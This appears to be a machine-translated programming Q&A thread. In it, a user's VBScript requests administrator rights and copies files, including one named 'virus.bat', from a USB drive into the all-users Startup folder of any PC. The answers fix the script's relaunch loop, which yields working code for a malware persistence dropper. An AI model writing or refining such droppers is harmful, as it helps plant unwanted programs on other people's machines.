Vbscript在不应该循环时循环

Vbscript在不应该循环时循环,vbscript,Vbscript,我有一个vbs脚本: Set WshShell = WScript.CreateObject("WScript.Shell") Set ObjShell = CreateObject("Shell.Application") ObjShell.ShellExecute "wscript.exe", """" & _ WScript.ScriptFullName & """" &_ " RunAsAdministrator", , "runas", 1 Const Dest

我有一个vbs脚本:

Set WshShell = WScript.CreateObject("WScript.Shell")
Set ObjShell = CreateObject("Shell.Application")
ObjShell.ShellExecute "wscript.exe", """" & _
WScript.ScriptFullName & """" &_
" RunAsAdministrator", , "runas", 1
Const Destination = "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
Const Virus = "virus.bat"
Const YesNo = "yesnovbs.vbs"
Const CDRom = "cd-rom.vbs"
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile Virus, Destination, True
fso.CopyFile YesNo, Destination, True
fso.CopyFile CDRom, Destination, True

基本上,它会将一些文件从我的USB复制到任何pc的启动目录中。问题是,脚本一直在自己执行。我想让这个脚本复制文件并退出,我该怎么做?

您只需要重新启动一次,具体取决于条件,例如参数。演示:

If 0 = WScript.Arguments.Count Then
   WScript.Echo "first run, starting script again"
   CreateObject("WScript.Shell").Exec "wscript.exe " & WScript.ScriptName & " param"
Else
   MsgBox "second run"
End If
输出:

Function  runas()
  Set WshShell = WScript.CreateObject("WScript.Shell")
  Set ObjShell = CreateObject("Shell.Application")
   If WScript.Arguments.Length = 0 Then 
     ObjShell.ShellExecute "wscript.exe", """" & _
     WScript.ScriptFullName & """" &_
     " RunAsAdministrator", , "runas", 1
     WScript.Quit 
  End If 
End Function

Call runas()

Const Destination = "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
Const Virus = "virus.bat"
Const YesNo = "yesnovbs.vbs"
Const CDRom = "cd-rom.vbs"
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile Virus, Destination, True
fso.CopyFile YesNo, Destination, True
fso.CopyFile CDRom, Destination, True

Set WshShell = Nothing 
Set objShell = Nothing 
Set fso = Nothing 

如果您没有添加wscript.Arguments.length=0条件语句,它将继续工作

谢谢!虽然我找到了另一种,但类似的方法来处理我的问题。顺便问一下,为什么脚本需要重新启动?为什么它不能运行一次并在没有任何额外代码行的情况下退出?@user3431852,因为您希望它以管理员身份运行。